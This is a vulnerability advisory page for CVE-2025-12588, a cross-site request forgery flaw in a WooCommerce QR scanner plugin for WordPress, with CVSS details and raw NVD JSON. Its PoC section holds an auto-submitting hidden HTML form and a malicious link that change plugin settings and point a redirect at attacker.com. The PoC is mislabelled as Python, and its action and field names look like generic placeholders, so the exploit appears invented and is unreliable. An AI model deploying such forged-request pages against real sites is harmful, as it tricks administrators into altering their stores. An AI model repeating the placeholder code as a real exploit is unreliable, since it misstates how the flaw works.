Security Vulnerability Report
中文
CVE-2025-12588 CVSS 4.3 MEDIUM

CVE-2025-12588

Published: 2025-11-11 04:15:47
Last Modified: 2026-04-15 00:35:42

Description

The USB Qr Code Scanner For Woocommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.0. This is due to missing nonce validation on the settings page. This makes it possible for unauthenticated attackers to update the plugin's settings via a forged request granted they can trick an administrator into performing an action such as clicking on a link.

CVSS Details

CVSS Score
4.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

USB Qr Code Scanner For Woocommerce <= 1.0.0(所有版本)

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- CSRF PoC for CVE-2025-12588 --> <!-- Exploit: Update plugin settings without authorization --> <!DOCTYPE html> <html> <head> <title>CSRF PoC - CVE-2025-12588</title> </head> <body> <h1>CVE-2025-12588 CSRF Attack PoC</h1> <p>This PoC demonstrates the CSRF vulnerability in USB Qr Code Scanner For Woocommerce plugin.</p> <!-- Auto-submit form to trigger settings update --> <form id="csrfForm" action="http://target-site/wp-admin/admin-post.php" method="POST" style="display:none;"> <!-- Plugin settings update action --> <input type="hidden" name="action" value="usb_qr_scanner_settings_update"> <!-- Malicious settings values --> <input type="hidden" name="usb_qr_scanner_setting1" value="malicious_value"> <input type="hidden" name="usb_qr_scanner_setting2" value="attacker_controlled"> <!-- Additional malicious parameters --> <input type="hidden" name="redirect_url" value="http://attacker.com/log"> </form> <script> // Auto-submit when page loads document.getElementById('csrfForm').submit(); console.log('CSRF request sent'); </script> <p>If settings were updated successfully, the attack worked.</p> <p>Note: Requires authenticated WordPress admin to visit this page.</p> </body> </html> <!-- Alternative: Malicious Link --> <!-- <a href="http://target-site/wp-admin/admin-post.php?action=usb_qr_scanner_settings_update&usb_qr_scanner_setting1=malicious">Click me</a> -->

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-12588", "sourceIdentifier": "[email protected]", "published": "2025-11-11T04:15:47.057", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The USB Qr Code Scanner For Woocommerce plugin for WordPress is vulnerable to Cross-Site Request Forgery in all versions up to, and including, 1.0.0. This is due to missing nonce validation on the settings page. This makes it possible for unauthenticated attackers to update the plugin's settings via a forged request granted they can trick an administrator into performing an action such as clicking on a link."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/usb-qr-code-scanner-for-woocommerce/tags/1.0.0/usb-qrcode-scanner-for-woocommerce.php#L149", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/usb-qr-code-scanner-for-woocommerce/tags/1.0.0/usb-qrcode-scanner-for-woocommerce.php#L410", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/6e02d105-0f1e-479e-a537-7a7fdbbd7804?source=cve", "source": "[email protected]"}]}}